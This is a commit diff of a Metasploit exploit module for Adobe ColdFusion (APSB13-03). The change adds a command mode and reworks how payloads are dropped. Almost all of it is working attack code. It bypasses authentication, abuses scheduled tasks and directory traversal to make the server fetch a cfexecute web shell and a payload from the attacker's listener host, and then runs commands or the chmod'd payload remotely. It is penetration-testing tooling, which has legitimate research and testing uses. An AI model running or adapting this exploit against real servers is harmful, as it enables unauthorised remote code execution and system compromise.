Added command mode, plus fixed the dropping of payloads
parent
f482496795
commit
8a98b1af4a
|
@ -16,46 +16,42 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe ColdFusion APSB13-03',
|
||||
'Description' => %q{
|
||||
'Name' => 'Adobe ColdFusion APSB13-03',
|
||||
'Description' => %q{
|
||||
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
|
||||
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
|
||||
* CVE-2013-0629: directory traversal
|
||||
* CVE-2013-0632: authentication bypass
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0625'],
|
||||
[ 'CVE', '2013-0629'],
|
||||
# we don't actually exploit this, as this is the backdoor
|
||||
# dropped by malware exploiting the other vulnerabilities
|
||||
[ 'CVE', '2013-0631'],
|
||||
[ 'CVE', '2013-0632'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Unix CMD',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
}
|
||||
],
|
||||
[ 'Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => true,
|
||||
'Platform' => [ 'win', 'linux' ],
|
||||
'DisclosureDate' => 'Jan 15 2013'))
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0625'],
|
||||
[ 'CVE', '2013-0629'],
|
||||
# we don't actually exploit this, as this is the backdoor
|
||||
# dropped by malware exploiting the other vulnerabilities
|
||||
[ 'CVE', '2013-0631'],
|
||||
[ 'CVE', '2013-0632'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic Targeting', { 'auto' => true }],
|
||||
[
|
||||
'Universal CMD',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => ['unix', 'win', 'linux']
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Privileged' => true,
|
||||
'Platform' => [ 'win', 'linux' ],
|
||||
'DisclosureDate' => 'Jan 15 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -63,12 +59,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
||||
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
|
||||
], self.class)
|
||||
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
|
||||
], self.class)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -103,31 +100,76 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
# login
|
||||
cf_cookies = login
|
||||
# if we managed to login, get the listener read
|
||||
datastore['URIPATH'] = rand_text_alphanumeric(6) + ".cfm"
|
||||
|
||||
# if we managed to login, get the listener ready
|
||||
datastore['URIPATH'] = rand_text_alphanumeric(6)
|
||||
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
|
||||
start_service
|
||||
# schedule and execute the task to request the coldfusion exec
|
||||
# and drop it on disk
|
||||
schedule_exec cf_cookies
|
||||
# now that the coldfusion exec is on disk, execute it
|
||||
res = send_request_raw(
|
||||
{ 'uri' => "/CFIDE/" + datastore['URIPATH'], 'method' => 'GET' }, 25
|
||||
)
|
||||
print_status res.body.strip
|
||||
# XXX: now what?
|
||||
|
||||
# drop a payload on disk which we can used to execute
|
||||
# arbitrary commands, which will be needed regardless of
|
||||
# which technique (cmd, payload) the user wants
|
||||
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
|
||||
output_exec = "#{datastore['URIPATH']}-e.cfm"
|
||||
schedule_drop cf_cookies, input_exec, output_exec
|
||||
|
||||
if datastore['CMD'] and not datastore['CMD'].empty?
|
||||
# now that the coldfusion exec is on disk, execute it,
|
||||
# passing in the command and arguments
|
||||
parts = datastore['CMD'].split(/\s+/)
|
||||
res = execute output_exec, parts.shift, parts.join(' ')
|
||||
print_line res.body.strip
|
||||
else
|
||||
# drop the payload
|
||||
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
|
||||
output_payload = "#{datastore['URIPATH']}-p"
|
||||
schedule_drop cf_cookies, input_payload, output_payload
|
||||
# make the payload executable
|
||||
# XXX: windows?
|
||||
execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
|
||||
# execute the payload
|
||||
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
|
||||
end
|
||||
handler
|
||||
end
|
||||
|
||||
def execute cfm, cmd, args=''
|
||||
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
|
||||
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
return
|
||||
# TODO: cleanup
|
||||
if client.type == "meterpreter"
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
@files.each do |file|
|
||||
client.fs.file.rm("#{file}")
|
||||
end
|
||||
else
|
||||
@files.each do |file|
|
||||
client.shell_command_token("rm #{file}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri cli, request
|
||||
vprint_status "Recieved connection from #{cli.peerhost}:#{cli.peerport}"
|
||||
cf_payload = <<EOF
|
||||
<cfparam name="url.cmd" type="string" default="id"/>
|
||||
<cfparam name="url.args" type="string" default=""/>
|
||||
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
|
||||
<cfoutput>#output#</cfoutput>
|
||||
EOF
|
||||
cf_payload = "test"
|
||||
case request.uri
|
||||
when "/#{datastore['URIPATH']}-e"
|
||||
cf_payload = <<-EOF
|
||||
<cfparam name="url.cmd" type="string" default="id"/>
|
||||
<cfparam name="url.args" type="string" default=""/>
|
||||
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
|
||||
<cfoutput>#output#</cfoutput>
|
||||
EOF
|
||||
when "/#{datastore['URIPATH']}-p"
|
||||
cf_payload = payload.encoded
|
||||
end
|
||||
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
|
||||
|
||||
# Given a hash of cookie key value pairs, return a string
|
||||
# suitable for use as an HTTP Cookie header
|
||||
def build_cookie_header cookies
|
||||
|
@ -158,7 +200,9 @@ EOF
|
|||
end
|
||||
end
|
||||
|
||||
def schedule_exec cookies
|
||||
# Using the provided +cookies+, schedule a ColdFusion task
|
||||
# to request content from +input_uri+ and drop it in +output_path+
|
||||
def schedule_drop cookies, input_uri, output_path
|
||||
vprint_status "Attempting to schedule ColdFusion task"
|
||||
cookie_hash = cookies
|
||||
|
||||
|
@ -203,7 +247,7 @@ EOF
|
|||
# pick a unique task ID
|
||||
task_id = SecureRandom.uuid
|
||||
# drop the backdoor in the CFIDE directory so it can be executed
|
||||
publish_file = '../../wwwroot/CFIDE/' + datastore['URIPATH']
|
||||
publish_file = '../../wwwroot/CFIDE/' + output_path
|
||||
# pick a start date. This must be in the future, so pick
|
||||
# one sufficiently far ahead to account for time zones,
|
||||
# improper time keeping, solar flares, drift, etc.
|
||||
|
@ -227,7 +271,7 @@ EOF
|
|||
'Repeat' => '',
|
||||
'crontime' => '',
|
||||
'Operation' => 'HTTPRequest',
|
||||
'ScheduledURL' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{datastore['URIPATH']}",
|
||||
'ScheduledURL' => input_uri,
|
||||
'Username' => '',
|
||||
'Password' => '',
|
||||
'Request_Time_out' => '',
|
||||
|
@ -296,7 +340,8 @@ EOF
|
|||
'cookie' => build_cookie_header(cookie_hash),
|
||||
})
|
||||
end
|
||||
print_status publish_file
|
||||
|
||||
vprint_status normalize_uri(target_uri, publish_file)
|
||||
publish_file
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue